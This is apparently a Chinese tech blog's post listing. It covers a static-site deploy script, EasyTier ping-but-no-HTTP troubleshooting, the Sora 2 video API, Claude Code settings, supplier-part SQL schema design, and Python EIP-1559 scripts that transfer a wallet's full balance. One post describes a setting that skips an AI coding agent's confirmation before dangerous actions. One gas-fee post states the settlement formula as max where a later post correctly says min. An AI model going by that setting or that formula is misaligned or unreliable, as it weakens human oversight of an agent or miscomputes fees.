Showing Posts From
技术
Shell 自动化部署脚本:git pull + pnpm build + cp
一个用于静态站点(如 Astro / Next.js)的最小化自动化部署脚本,适合 VPS 手动触发或配合 webhook 使用。 脚本 #!/bin/bash set -ecd /opt/black-no-dark git pull pnpm build cp -rf /opt/black-no-dark/dist/* /www/wwwroot/www.example.com/echo "更新成功!"各步骤说明 set -e:任何命令返回非零退出码时立即终止脚本,防止后续步骤在错误状态下继续执行。 git pull:拉取远程最新代码。若本地有未提交的修改会冲突报错,此时 set -e 会阻止继续构建。 pnpm build:构建静态产物到 dist/ 目录。构建失败(TS 错误、配置错误等)同样会终止。 cp -rf dist/* /web-root/:将新产物覆盖到 Web 服务器根目录。-r 递归,-f 强制覆盖。 使用方式 # 赋予执行权限(只需一次) chmod +x /opt/deploy.sh# 手动触发 /opt/deploy.sh# 或配合 webhook(如 github-webhook-handler)自动触发常见问题 git pull 报 "not a git repository":脚本中的 cd 路径写错,或目录没有 git init / git clone。 pnpm: command not found:部署环境没有安装 pnpm,或 PATH 不包含 pnpm 路径。解决: # 用绝对路径 /root/.local/share/pnpm/pnpm build# 或在脚本顶部加 export PATH="/root/.local/share/pnpm:$PATH"cp 覆盖时网站短暂不可用:对于零停机要求,可以先 cp 到临时目录,再 mv 替换: cp -rf dist/* /tmp/dist-new/ rsync -a --delete /tmp/dist-new/ /www/wwwroot/www.example.com/rsync 只同步差异文件,比整体 cp 更快,中断窗口更短。 扩展:加上日志和通知 #!/bin/bash set -eLOG=/var/log/deploy.log echo "[$(date '+%Y-%m-%d %H:%M:%S')] 开始部署" >> $LOGcd /opt/black-no-dark git pull >> $LOG 2>&1 pnpm build >> $LOG 2>&1 cp -rf dist/* /www/wwwroot/www.example.com/echo "[$(date '+%Y-%m-%d %H:%M:%S')] 部署成功" >> $LOG将 stdout / stderr 都重定向到日志文件,方便事后排查。
EasyTier 能 ping 通但 HTTP 不通:排查思路和解决方法
EasyTier 组网后能 ping 通对方,但 HTTP 访问失败——这是隧道已建立、应用层流量被拦截的典型现象。 快速定位(3 条命令) ① 客户端测试 TCP 连通性 curl -v http://对方EasyTierIP:端口Connection refused:网络通,服务没监听 Connection timed out:防火墙或路由拦截 返回 HTTP 内容:服务正常,排查客户端代理② 服务端抓包 sudo tcpdump -i tun0 tcp port 80同时客户端访问一次:抓包结果 结论看到 SYN 流量到了服务器,查服务监听或防火墙看不到 SYN 路由或 EasyTier 转发问题SYN 无 SYN-ACK 防火墙或服务未监听③ 查看监听端口 ss -lntp | grep -E ':80|:443|:8080'原因一:服务只监听 127.0.0.1(最常见) ss -lntp 看到 127.0.0.1:80,EasyTier 的 tun0 流量就无法到达服务。 修改方法: # uvicorn uvicorn main:app --host 0.0.0.0 --port 8000# nginx listen 0.0.0.0:80;# Node.js app.listen(80, '0.0.0.0')原因二:防火墙拦截 tun0 ping 用 ICMP,HTTP 用 TCP,如果防火墙只放行了 ICMP 或者对 EasyTier 网卡有限制: # 查看规则 sudo iptables -L -n sudo ufw status# 临时放行 tun0(测试用) sudo iptables -I INPUT -i tun0 -j ACCEPT sudo iptables -I FORWARD -i tun0 -j ACCEPT永久规则(以 ufw 为例): sudo ufw allow in on tun0原因三:Docker 端口绑定到 localhost docker ps如果看到 127.0.0.1:80->80/tcp,改成: docker run -p 80:80 ...原因四:服务绑定到特定网卡 IP 服务器有多个网卡(公网 IP + EasyTier IP),应用可能只绑到了公网 IP: ss -lntp | grep 8080如果看到 103.x.x.x:8080,需要改为 0.0.0.0:8080。 原因五:代理劫持 HTTP 流量 系统装了 Clash、sing-box 等,可能把内网 IP 的 HTTP 也走了代理: curl --noproxy '*' http://10.x.x.x如果这样能通,就是代理规则问题,把 EasyTier 网段加入 bypass 列表。 原因六:MTU 问题 现象:ping 小包正常,HTTP 建连后卡住或大文件下载失败。 ping -M do -s 1472 目标IP失败则把 EasyTier 网卡 MTU 调小: sudo ip link set tun0 mtu 1280EasyTier 配置自定义 IP 段 默认 dhcp = true 由网络中的 DHCP 节点分配 IP。如果要固定 IP: dhcp = false ipv4 = "10.88.0.2/24"如果加入的是他人的 EasyTier 网络,单方面改客户端配置通常不生效,需要整个网络统一规划地址段。 诊断工具速查 # 确认 EasyTier 接口和 IP ip addr show tun0# 确认路由(流量是否走 tun0) ip route | grep tun0# TCP 连通性测试 nc -vz 目标IP 80# 本机自测(服务端执行) curl -v http://127.0.0.1:80 curl -v http://tun0_IP:80
EasyTier 能 ping 通但 HTTP 访问不了:六种原因排查
现象 EasyTier 组网后:ping 10.126.126.x ✅ 成功 curl http://10.126.126.x ❌ 失败说明 EasyTier 隧道本身正常,问题在 TCP/应用层。 排查顺序 1. Web 服务只监听 127.0.0.1(最常见) ss -tlnp如果看到: 127.0.0.1:8080而不是: 0.0.0.0:8080说明服务拒绝来自 EasyTier 地址的连接。修复方式:服务 正确配置Nginx listen 0.0.0.0:80;Node.js app.listen(8080, '0.0.0.0')FastAPI/uvicorn uvicorn main:app --host 0.0.0.0Python http.server python -m http.server --bind 0.0.0.02. iptables 只放行了 ICMP,没放行 TCP sudo iptables -L -n sudo ufw status sudo firewall-cmd --list-all # CentOS临时放行 EasyTier 网卡: sudo iptables -I INPUT -i tun0 -j ACCEPT sudo iptables -I FORWARD -i tun0 -j ACCEPT如果 HTTP 立刻恢复,说明是防火墙问题,再添加永久规则。3. Docker 端口映射绑定到 127.0.0.1 docker ps如果端口映射是: 127.0.0.1:8080->8080/tcpEasyTier 无法访问。需要改为: docker run -p 8080:8080 ... # 正确 # 不要用 docker run -p 127.0.0.1:8080:8080 ...4. HTTP 请求被系统代理拦截 如果本机装了 Clash/V2Ray/sing-box: curl --noproxy '*' http://10.126.126.x如果加了 --noproxy 后能访问,说明代理规则把 EasyTier 内网地址错误地转发了出去。在代理工具里添加 10.0.0.0/8 为直连规则。5. MTU 问题 现象:ping 小包正常,HTTP 建连后卡住,大文件下载失败。 测试: ping -M do -s 1472 目标IP如果失败,降低 MTU: sudo ip link set tun0 mtu 12806. 路由未覆盖目标网段 ip route | grep tun0确认有类似: 10.126.126.0/24 dev tun0 proto kernel scope link src 10.126.126.1如果没有,HTTP 的 TCP 包会走默认网关出公网。 tcpdump 快速定位(推荐) 在服务端抓包: sudo tcpdump -i tun0 tcp port 80客户端发起请求后看结果:抓包结果 结论看到 SYN 包 流量到达服务端,问题是防火墙或服务监听地址看不到任何包 EasyTier 路由问题,或客户端代理拦截SYN 但没有 SYN-ACK 防火墙拦截(iptables DROP)SYN 后立即 RST 服务没在该端口监听配合 curl -v http://目标IP 看是 Connection refused 还是 Timeout,可以快速缩小问题范围。
OpenAI Videos API:Sora 2 视频生成 Python 调用指南
Python 调用示例 from openai import OpenAIclient = OpenAI(api_key="YOUR_API_KEY")# 提交视频生成任务(异步) job = client.videos.create( model="sora-2", prompt=""" A cinematic drone shot of Tokyo at night. Neon lights reflecting on wet streets. Ultra realistic. """, seconds=8, size="1280x720" )print(job.id)视频生成是异步任务,需要轮询状态: import timewhile True: result = client.videos.retrieve(job.id) print(result.status) if result.status == "completed": print(result.output_url) break elif result.status == "failed": print("生成失败") break time.sleep(5)图片转视频 已有参考图片时,使用 input_reference 保持人物和风格一致: job = client.videos.create( model="sora-2", prompt="The girl smiles and walks forward.", input_reference=open("girl.png", "rb"), seconds=8 )REST API curl https://api.openai.com/v1/videos \ -H "Authorization: Bearer YOUR_API_KEY" \ -F "model=sora-2" \ -F "prompt=A cute panda drinking coffee" \ -F "seconds=8"参数说明参数 说明model sora-2 或 sora-2-proprompt 视频内容描述(英文效果更好)input_reference 参考图片(可选,用于图生视频)seconds 视频时长:4、8、12 秒size 分辨率,如 1280x720、720x1280(竖屏)、1792x1024价格模型 价格Sora 2 约 $0.10 / 秒Sora 2 Pro 约 $0.30~$0.70 / 秒(随分辨率变化)生成 8 秒 1280x720 视频:Sora 2 约 $0.80,Sora 2 Pro 约 $2.40~5.60。 Prompt 写法参考 视频 prompt 建议包含:镜头类型、光线、风格、质量要求。 # 电影风格 A cinematic shot of a samurai walking through a bamboo forest. Golden sunlight. Slow motion. 35mm film. Ultra realistic.# 产品广告 A luxury mechanical watch rotating on a black reflective table. Studio lighting. 8K. Commercial quality.# 动漫风格 Anime style. Cherry blossoms falling. Girl running on a school campus. Beautiful sunset. Highly detailed.英文 prompt 效果稳定,中文可能出现理解偏差。 后端架构(完整平台) 如果需要支持多用户、异步进度追踪,典型架构: 用户请求 → FastAPI → Celery 任务队列 → OpenAI Videos API ↓ Redis 存储 job.id ↓ WebSocket 推送进度 → 前端 ↓ 完成后存储到 OSS/S3
Claude Code 配置项解析:ANTHROPIC_MODEL、showThinkingSummaries 和 skipDangerousModePermissionPrompt
配置示例 { "env": { "ANTHROPIC_MODEL": "claude-opus-4-7" }, "showThinkingSummaries": true, "skipDangerousModePermissionPrompt": true }各字段说明 env.ANTHROPIC_MODEL 指定 Claude Code 使用的模型。Claude Code 会优先读取这个环境变量,没有则使用默认模型。 合法的模型名格式: claude-opus-4-7 claude-sonnet-4-6 claude-haiku-4-5-20251001常见问题:ANSI 控制码污染 从终端输出复制模型名时,可能夹带了 ANSI 颜色控制码: opus 4.7[1m]这里 [1m] 是 \x1b[1m(加粗)的残留,程序无法识别这个模型名,会静默回退到默认模型。复制模型名后需要手动确认字段只包含纯 ASCII 字符,不含 [、]、\x1b 等控制字符。showThinkingSummaries "showThinkingSummaries": true控制是否在对话界面显示模型的思考摘要(Thinking Summary)。 注意区分:思考摘要:Claude 内部推理的简短摘要,由模型生成后可选择性暴露给用户 完整思维链:模型的逐步推理过程,不对外公开设为 true 时,Claude Code 会在回复上方展示推理摘要区域(折叠)。如果不需要可以设为 false 减少界面噪声。skipDangerousModePermissionPrompt "skipDangerousModePermissionPrompt": trueClaude Code 在执行某些高风险操作(如删除文件、运行 shell 命令、修改系统配置)时默认会弹出确认提示: This action may be dangerous. Continue? [Y/N]设为 true 后跳过该提示,直接执行。适合在受控环境下(如 CI、已备份工作目录)提升效率,不适合在生产环境使用。 完整配置结构 Claude Code 的用户配置文件通常位于:Windows: %APPDATA%\Claude\settings.json macOS/Linux: ~/.claude/settings.json{ "env": { "ANTHROPIC_MODEL": "claude-sonnet-4-6", "ANTHROPIC_BASE_URL": "https://api.anthropic.com" }, "showThinkingSummaries": false, "skipDangerousModePermissionPrompt": false, "theme": "dark" }修改配置后重启 Claude Code 生效。
数据库设计:E-R 图、3NF 范式与 SQL 约束建表
E-R 图基础 以供应商-零件为例:实体1:供应商(Sno, Sname, City) 实体2:零件(Pno, Pname, Color, Weight) 联系:供应(M:N,含属性 Price)一个供应商可供应多种零件,一种零件可由多个供应商供应,联系属于 多对多(M:N)。 Supplier(供应商) Part(零件) ┌─────────────────┐ ┌─────────────────┐ │ Sno (PK) │ M N │ Pno (PK) │ │ Sname ├────────┤ Pname │ │ City │ 供应 │ Color │ └─────────────────┘ Price │ Weight │ └─────────────────┘3NF 关系模式设计 M:N 联系必须单独拆出一张联系表: Supplier(供应商表) Supplier(Sno PK, Sname, City)Part(零件表) Part(Pno PK, Pname, Color, Weight)Supply(供应联系表) Supply(Sno PK FK→Supplier, Pno PK FK→Part, Price)联合主键 (Sno, Pno) 保证每个供应商对每种零件只有一条记录。三个表均满足 3NF(无传递依赖)。 SQL 建表(含约束) CREATE TABLE Supplier ( Sno CHAR(10) PRIMARY KEY, Sname VARCHAR(50) NOT NULL, City VARCHAR(50) );CREATE TABLE Part ( Pno CHAR(10) PRIMARY KEY, Pname VARCHAR(50) NOT NULL, Color VARCHAR(20), Weight DECIMAL(8,2) );CREATE TABLE Supply ( Sno CHAR(10), Pno CHAR(10), Price DECIMAL(10,2), PRIMARY KEY (Sno, Pno), FOREIGN KEY (Sno) REFERENCES Supplier(Sno), FOREIGN KEY (Pno) REFERENCES Part(Pno), CHECK (Price > 0) );PRIMARY KEY:联合主键,值组合唯一且不为 NULL FOREIGN KEY:引用父表主键,保证参照完整性 CHECK:价格必须大于 0,在插入/更新时自动校验JOIN 查询 查询"供应红色零件的供应商名称": SELECT DISTINCT S.Sname FROM Supplier S JOIN Supply SP ON S.Sno = SP.Sno JOIN Part P ON SP.Pno = P.Pno WHERE P.Color = '红色';等价子查询写法: SELECT DISTINCT Sname FROM Supplier WHERE Sno IN ( SELECT Sno FROM Supply WHERE Pno IN ( SELECT Pno FROM Part WHERE Color = '红色' ) );JOIN 写法更清晰,子查询写法在没有 JOIN 语法支持时可用。 常见范式对比范式 要求 典型违反1NF 每个字段原子值,不含多值 用逗号分隔多个标签存一列2NF 非主属性完全依赖主键(无部分依赖) 联系表里存冗余属性3NF 非主属性不传递依赖主键 城市→邮编→省份放同一表实践中通常达到 3NF 即可,OLAP 场景允许适度冗余换查询性能。
SQL 建表约束:PRIMARY KEY / FOREIGN KEY / CHECK 写法
建表时声明约束是数据库设计的基础,常见的有主键约束、外键约束和 CHECK 约束。 场景:供应商-零件多对多关系 经典的供应商(Supplier)-零件(Part)-供应(Supply)三表结构:供应商可以供应多种零件(M:N 关系) 每对供应商+零件组合有一个供应价格关系模式(3NF) Supplier(Sno PK, Sname, City) Part(Pno PK, Pname, Color, Weight) Supply(Sno PK FK, Pno PK FK, Price)Supply 的主键是复合主键 (Sno, Pno),同时 Sno 和 Pno 各自是外键。 SQL 建表 CREATE TABLE Supplier ( Sno CHAR(10) NOT NULL, Sname VARCHAR(50) NOT NULL, City VARCHAR(50), PRIMARY KEY (Sno) );CREATE TABLE Part ( Pno CHAR(10) NOT NULL, Pname VARCHAR(50) NOT NULL, Color VARCHAR(20), Weight DECIMAL(8,2), PRIMARY KEY (Pno) );CREATE TABLE Supply ( Sno CHAR(10) NOT NULL, Pno CHAR(10) NOT NULL, Price DECIMAL(10,2) NOT NULL, PRIMARY KEY (Sno, Pno), FOREIGN KEY (Sno) REFERENCES Supplier(Sno) ON DELETE CASCADE ON UPDATE CASCADE, FOREIGN KEY (Pno) REFERENCES Part(Pno) ON DELETE CASCADE ON UPDATE CASCADE, CHECK (Price > 0) );各约束说明 PRIMARY KEY:不能为空,不能重复。复合主键用 PRIMARY KEY (col1, col2) 表格级声明,不能用列级。 FOREIGN KEY:引用另一张表的主键或唯一键,保证参照完整性。ON DELETE CASCADE 表示父表删除时子表自动级联删除。 CHECK:定义列值的范围或条件,CHECK (Price > 0) 要求价格必须大于零。 NOT NULL:禁止 NULL 值,通常和主键一起用。 常用查询 查询"供应红色零件的供应商名称": SELECT DISTINCT s.Sname FROM Supplier s JOIN Supply sp ON s.Sno = sp.Sno JOIN Part p ON sp.Pno = p.Pno WHERE p.Color = '红色';或用子查询: SELECT Sname FROM Supplier WHERE Sno IN ( SELECT sp.Sno FROM Supply sp JOIN Part p ON sp.Pno = p.Pno WHERE p.Color = '红色' );约束的列级 vs 表级写法 列级(约束跟在列后面,只作用于该列): CREATE TABLE t ( id INT PRIMARY KEY, val INT CHECK (val > 0), fk INT REFERENCES other(id) );表级(单独一行,支持多列主键和复合外键): CREATE TABLE t ( id1 INT, id2 INT, val INT, PRIMARY KEY (id1, id2), -- 复合主键必须用表级 FOREIGN KEY (id1) REFERENCES a(id), CHECK (val > 0) );复合主键(多列联合唯一)只能用表级声明;单列约束两种写法均可。
供应关系 E-R 建模 + 3NF + SQL:一道数据库题的标准答案
数据库课程有一道经典题目:供应商-零件-供应关系建模。是标准的 M:N 联系带属性,按 E-R → 3NF → SQL 完整走一遍。 题目 某企业采购管理系统:供应商 (Supplier):编号 Sno、名称 Sname、城市 City 零件 (Part):编号 Pno、名称 Pname、颜色 Color、重量 Weight 供应商可以供应多种零件,每种零件可由多个供应商供应 每个供应商对每种零件有一个供应价格 Price要求:画 E-R 图 设计满足 3NF 的关系模式 SQL 建"供应"表,带主键、外键、价格 > 0 约束 写"供应红色零件的供应商名称"查询第一步:E-R 图 两个实体、一个联系: ┌──────────────────┐ │ Supplier │ │──────────────────│ │ Sno (PK) │ │ Sname │ │ City │ └────────┬─────────┘ │ M │ ┌──────┴──────┐ │ Supply │◄── Price(联系属性) └──────┬──────┘ │ N │ ┌────────┴─────────┐ │ Part │ │──────────────────│ │ Pno (PK) │ │ Pname │ │ Color │ │ Weight │ └──────────────────┘关系类型:Supplier M——(Supply)——N Part,Supply 联系有属性 Price。 第二步:3NF 关系模式 M:N 联系必须独立成一张表,不能合并到任何一端。 Supplier 表: Supplier ( Sno ← 主键 (PK) Sname City )Part 表: Part ( Pno ← 主键 (PK) Pname Color Weight )Supply 表(M:N 联系变实体): Supply ( Sno ← 主键的一部分, 外键 → Supplier(Sno) Pno ← 主键的一部分, 外键 → Part(Pno) Price )Supply 的主键是 (Sno, Pno) 联合主键——同一个供应商同一个零件只能有一条供应记录,不同的价格意味着不同的关系需要建模成"报价历史"。 为什么满足 3NF:每个表所有非主属性都完全依赖于主键(无部分依赖 → 2NF) 每个表非主属性只依赖主键,不依赖其它非主属性(无传递依赖 → 3NF)第三步:SQL 建"供应"表 CREATE TABLE Supply ( Sno CHAR(10) NOT NULL, Pno CHAR(10) NOT NULL, Price DECIMAL(10,2) NOT NULL, PRIMARY KEY (Sno, Pno), FOREIGN KEY (Sno) REFERENCES Supplier(Sno), FOREIGN KEY (Pno) REFERENCES Part(Pno), CHECK (Price > 0) );要点:联合主键:PRIMARY KEY (Sno, Pno) 一起才唯一 外键:Sno 必须在 Supplier 里存在、Pno 必须在 Part 里存在 CHECK 约束:Price > 0 由数据库强制,即使应用忘了校验也保证不了负价 DECIMAL(10,2) 而不是 FLOAT——金额永远用定点数,浮点会有精度问题第四步:查询"供应红色零件的供应商名称" 需要连 Supplier / Supply / Part 三张表: SELECT DISTINCT S.Sname FROM Supplier S JOIN Supply SP ON S.Sno = SP.Sno JOIN Part P ON SP.Pno = P.Pno WHERE P.Color = '红色';关键点:DISTINCT — 一个供应商可能供应多种红色零件,去重 JOIN — 内连接,只要有匹配就出结果 WHERE P.Color = '红色' — 过滤条件不用 JOIN 也能写(子查询版本): SELECT DISTINCT Sname FROM Supplier WHERE Sno IN ( SELECT Sno FROM Supply WHERE Pno IN ( SELECT Pno FROM Part WHERE Color = '红色' ) );两种写法结果一样。现代 SQL 优化器基本能把子查询版本优化成 JOIN,但读起来 JOIN 更直观。 一些延伸 要报价历史怎么办? 加一个 EffectiveDate: CREATE TABLE SupplyHistory ( Sno CHAR(10), Pno CHAR(10), EffectiveDate DATE, Price DECIMAL(10, 2), PRIMARY KEY (Sno, Pno, EffectiveDate), FOREIGN KEY (Sno) REFERENCES Supplier(Sno), FOREIGN KEY (Pno) REFERENCES Part(Pno), CHECK (Price > 0) );查最新价格: SELECT Sno, Pno, Price FROM SupplyHistory sh WHERE EffectiveDate = ( SELECT MAX(EffectiveDate) FROM SupplyHistory WHERE Sno = sh.Sno AND Pno = sh.Pno );现代 SQL 也可以用窗口函数: SELECT Sno, Pno, Price FROM ( SELECT Sno, Pno, Price, ROW_NUMBER() OVER (PARTITION BY Sno, Pno ORDER BY EffectiveDate DESC) rn FROM SupplyHistory ) t WHERE rn = 1;一句话总结 M:N 联系带属性必须独立成表,联合主键 + 两个外键。3NF 的关系模式设计基本是"每个 M:N 拆一张表 + 每张表消除传递依赖"。查询用 JOIN 比多层子查询好读。
EIP-1559 Gas 费计算与 Python 转账清仓脚本
EIP-1559 的 Gas 费有三个参数,容易写错导致交易失败或余额卡住。 三个参数的含义参数 含义baseFee 当前区块的基础 Gas 价格,由网络自动调整,不能低于这个值maxPriorityFeePerGas 给矿工的小费(Tip),影响打包速度maxFeePerGas 用户愿意支付的最高单价,节点用 max(baseFee + tip, maxFeePerGas) 结算实际每笔交易扣费:gasUsed × (baseFee + tip),多余部分退还。 常见错误写法 # 问题:maxFee 等于 baseFee + priority,baseFee 稍微上涨就失效 max_fee_per_gas = base_fee + priority_fee如果在你签名到广播之间的时间里,下一个区块的 baseFee 上涨,节点会拒绝交易(因为 maxFeePerGas < baseFee)。 推荐写法 base_fee = web3.eth.get_block("pending")["baseFeePerGas"]try: priority_fee = web3.eth.max_priority_fee except Exception: priority_fee = web3.to_wei(0.1, "gwei")# baseFee 乘以 2 留有余量(MetaMask 等钱包的标准做法) max_fee_per_gas = base_fee * 2 + priority_fee清仓转账(全额转出) 把钱包余额全部转出时,amount = balance - fee 看起来简单,但有几个坑: from web3 import Web3def transfer_all(web3, private_key, dst_address): account = web3.eth.account.from_key(private_key) from_address = account.address balance = web3.eth.get_balance(from_address) nonce = web3.eth.get_transaction_count(from_address, "pending") base_fee = web3.eth.get_block("pending")["baseFeePerGas"] try: priority_fee = web3.eth.max_priority_fee except Exception: priority_fee = web3.to_wei(0.1, "gwei") max_fee_per_gas = base_fee * 2 + priority_fee # estimate_gas 比写死 30000 更准确 gas_limit = web3.eth.estimate_gas({ "from": from_address, "to": dst_address, "value": 1 }) gas_limit = int(gas_limit * 1.2) fee = gas_limit * max_fee_per_gas # 额外留安全余量,防止 baseFee 微小变化导致不足 reserve = web3.to_wei(0.00000001, "ether") amount = balance - fee - reserve if amount <= 0: print("余额不足支付 Gas 费") return None tx = { "from": from_address, "to": Web3.to_checksum_address(dst_address), "value": amount, "gas": gas_limit, "maxFeePerGas": max_fee_per_gas, "maxPriorityFeePerGas": priority_fee, "nonce": nonce, "chainId": web3.eth.chain_id, "type": 2, } signed = web3.eth.account.sign_transaction(tx, private_key) tx_hash = web3.eth.send_raw_transaction(signed.raw_transaction) print(f"发送地址: {from_address}") print(f"转出: {web3.from_wei(amount, 'ether')} ETH") print(f"Gas 费: {web3.from_wei(fee, 'ether')} ETH") print(f"TX: {tx_hash.hex()}") return tx_hash.hex()关键细节 nonce 用 "pending" 而非 "latest":如果有未确认交易,用 "latest" 得到的 nonce 偏小,新交易会被拒绝。 gas_limit 用 estimateGas:普通 ETH 转账是 21000,但某些链可能不同,estimate_gas * 1.2 更稳妥。 chainId 用 web3.eth.chain_id 获取:不要硬编码,避免接错链。 确认当前链 ID print(web3.eth.chain_id)Gravity L1 Mainnet 的 Chain ID 是 127001,支持 EIP-1559。 两步计算更可靠 对于高精度要求的清仓场景,建议:先构造 value=0 估算 gasLimit 计算 fee = gasLimit × maxFeePerGas,加安全余量 签名广播 如果仍然报 insufficient funds(baseFee 变化导致),重新读取参数再签一次
EIP-1559 Gas 费计算:Python Web3 转账扣余额的正确姿势
做链上转账时,想把账户余额全部转走,需要提前扣除 Gas 费。EIP-1559 下的费用计算和普通 Legacy 交易有些区别,容易算错。 常见的错误写法 base_fee = w3.eth.get_block("latest")["baseFeePerGas"] priority_fee = w3.to_wei(0.1, "gwei") max_fee_per_gas = base_fee + priority_feegas_limit = 30000 fee = gas_limit * max_fee_per_gasamount = balance - fee这里有两个问题: 问题一:fee 计算偏高但不算错 gas_limit * max_fee_per_gas 是最坏情况下的费用上限,实际扣款是: actual_fee = gas_used × (base_fee + priority_fee)gas_used ≤ gas_limit,所以实际花费通常比预留值少。转账类交易 gas_used 基本等于 gas_limit,误差不大;合约调用误差可能较大。 问题二:maxFeePerGas 应该 > base_fee + priority_fee EIP-1559 规范里,maxFeePerGas 是你愿意支付的上限,真正矿工收到的是: effective_gas_price = base_fee + priority_fee如果下一个区块 base_fee 涨了,用 maxFeePerGas = base_fee + priority_fee 可能导致交易因 maxFeePerGas < 新 base_fee 而被拒绝。 正确写法 def send_all_balance(w3, private_key, to_address, chain_id): account = w3.eth.account.from_key(private_key) from_address = account.address balance = w3.eth.get_balance(from_address) nonce = w3.eth.get_transaction_count(from_address) # base_fee 加 20% 缓冲,防止下一块涨价 base_fee = w3.eth.get_block("latest")["baseFeePerGas"] base_fee_with_buffer = int(base_fee * 1.2) priority_fee = w3.to_wei(0.1, "gwei") max_fee_per_gas = base_fee_with_buffer + priority_fee gas_limit = 21000 # 纯转账固定 21000;合约调用需要 estimateGas # 预留的 Gas 费上限 max_gas_cost = gas_limit * max_fee_per_gas amount = balance - max_gas_cost if amount <= 0: print(f"余额不足:balance={w3.from_wei(balance, 'ether')} ETH") return None tx = { "from": from_address, "to": w3.to_checksum_address(to_address), "value": amount, "gas": gas_limit, "maxFeePerGas": max_fee_per_gas, "maxPriorityFeePerGas": priority_fee, "nonce": nonce, "chainId": chain_id, "type": 2, } signed = w3.eth.account.sign_transaction(tx, private_key) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) print(f"发送: {w3.from_wei(amount, 'ether')} ETH") print(f"Gas 预留: {w3.from_wei(max_gas_cost, 'ether')} ETH") print(f"TX: {tx_hash.hex()}") return tx_hash.hex()EIP-1559 费用结构字段 含义baseFeePerGas 协议自动设置,每笔交易必须支付,销毁maxPriorityFeePerGas 给矿工的小费,激励打包maxFeePerGas 用户愿意支付的上限实际每 Gas 费用 min(maxFeePerGas, baseFee + priorityFee)实际从账户扣除: actual_cost = gas_used × effective_gas_price其中 effective_gas_price = baseFee + priorityFee(不超过 maxFeePerGas)。 多余的 (maxFeePerGas - effectiveGasPrice) × gasUsed 会退还给发送方,但退还发生在交易上链后,所以发送前账户余额必须 ≥ gasLimit × maxFeePerGas。 纯转账 vs 合约调用 纯 ETH 转账 gas 固定是 21000,可以直接写死。合约调用要用 estimate_gas: gas_limit = w3.eth.estimate_gas({ "from": from_address, "to": contract_address, "data": encoded_data, }) gas_limit = int(gas_limit * 1.1) # 加 10% 缓冲合约执行失败时 gas 仍会被扣,所以建议先 call 验证不会 revert 再发送。 常见的链 gas_limit 不同链的标准转账 gas 不完全一样,普通 EVM 链一般是 21000,部分 L2 有所不同: GAS_LIMITS = { "ethereum": 21000, "polygon": 21000, "bsc": 21000, "gravity": 30000, # 某些链会高一些 }不确定的情况下用 estimate_gas 最安全。 一句话总结 EIP-1559 转账预留费用用 gasLimit × maxFeePerGas,maxFeePerGas 要比当前 baseFee 高出一定缓冲(一般 20%),防止下一块 baseFee 上涨导致交易失败。纯转账 gas 固定 21000,合约调用用 estimateGas。
EIP-1559 交易脚本的六个 Gas 坑:baseFee 突变到 nonce 冲突
写一个"清仓转账"的脚本——把地址里所有余额扫到目标地址,用 EIP-1559。核心代码大致这样: base_fee = w3.eth.get_block("latest")["baseFeePerGas"] priority_fee = w3.to_wei(0.1, "gwei") max_fee_per_gas = base_fee + priority_feegas_limit = 30000 fee = gas_limit * max_fee_per_gas amount = balance - feetx = { "to": w3.to_checksum_address(dst), "value": amount, "gas": gas_limit, "maxFeePerGas": max_fee_per_gas, "maxPriorityFeePerGas": priority_fee, "nonce": w3.eth.get_transaction_count(from_address), "chainId": CHAIN_ID, "type": 2, }跑起来经常报: insufficient funds for gas * price + value问题不是一处,是好几个细节叠加。 坑 1:maxFeePerGas 写死等于 baseFee + priority 节点校验时: balance >= value + gasLimit × maxFeePerGasbaseFee 每个区块都会浮动(EIP-1559 每次可变 ±12.5%)。你算完刚好够,几秒后新块 baseFee 涨了: max_fee < new_base_fee + priority要么交易过不了、要么"钱不够"。MetaMask 的做法是: max_fee_per_gas = base_fee * 2 + priority_feebase_fee * 2 是常规冗余系数——baseFee 一个区块最多涨 12.5%,2x 完全够缓冲。多花的部分节点会退还给你,只按 effectiveGasPrice 收。 坑 2:gasLimit 硬编码 普通转账 21000 够,Gravity 这类链要 30000。合约调用差别就更大了。别写死,先估算再加冗余: gas_limit = w3.eth.estimate_gas({ "from": from_address, "to": dst, "value": 1, }) gas_limit = int(gas_limit * 1.2)* 1.2 是通用的 20% 余量,避免 estimation 边缘 case。 坑 3:priority fee 硬编码 0.1 gwei 网络拥堵时 0.1 gwei 的小费根本进不了下一个块。用节点建议值: priority_fee = w3.eth.max_priority_fee或者查 feeHistory 取近期百分位: history = w3.eth.fee_history(5, "latest", [50]) priority_fee = max(history["reward"][-1][0], w3.to_wei(1, "gwei"))坑 4:nonce 用了 latest 默认: w3.eth.get_transaction_count(from_address) # 等价于 "latest"如果地址有未确认的 pending 交易,latest 会返回过时的 nonce,新交易和旧的撞车,两个都卡住。改成: nonce = w3.eth.get_transaction_count(from_address, "pending")坑 5:清仓转账没留冗余 amount = balance - fee 是理论极限。实际因为 baseFee 突变或 estimation 偏差,几乎必然凑不够。留一点小额缓冲: reserve = w3.to_wei(0.0001, "ether") amount = balance - fee - reserve坑 6:chainId 抄错 "chainId": 127001,链 ID 不匹配的交易节点直接拒。跟节点确认一次: print(w3.eth.chain_id)修正后的样板 base_fee = w3.eth.get_block("latest")["baseFeePerGas"] priority_fee = w3.eth.max_priority_fee max_fee_per_gas = base_fee * 2 + priority_feegas_limit = w3.eth.estimate_gas({ "from": from_address, "to": dst, "value": 1, }) gas_limit = int(gas_limit * 1.2)fee_ceiling = gas_limit * max_fee_per_gas reserve = w3.to_wei(0.0001, "ether") amount = balance - fee_ceiling - reserve if amount <= 0: raise RuntimeError("余额不足以支付 Gas + 冗余")tx = { "to": w3.to_checksum_address(dst), "value": amount, "gas": gas_limit, "maxFeePerGas": max_fee_per_gas, "maxPriorityFeePerGas": priority_fee, "nonce": w3.eth.get_transaction_count(from_address, "pending"), "chainId": w3.eth.chain_id, "type": 2, }一句话总结 EIP-1559 参数不是"算准就行",是"抗突变才稳"。maxFee = baseFee * 2 + priority、gas = estimate * 1.2、nonce = pending,三件事一起做,出问题的概率会低一个数量级。
Web3.py EIP-1559 交易 Gas 费计算:baseFee 波动与余额预留
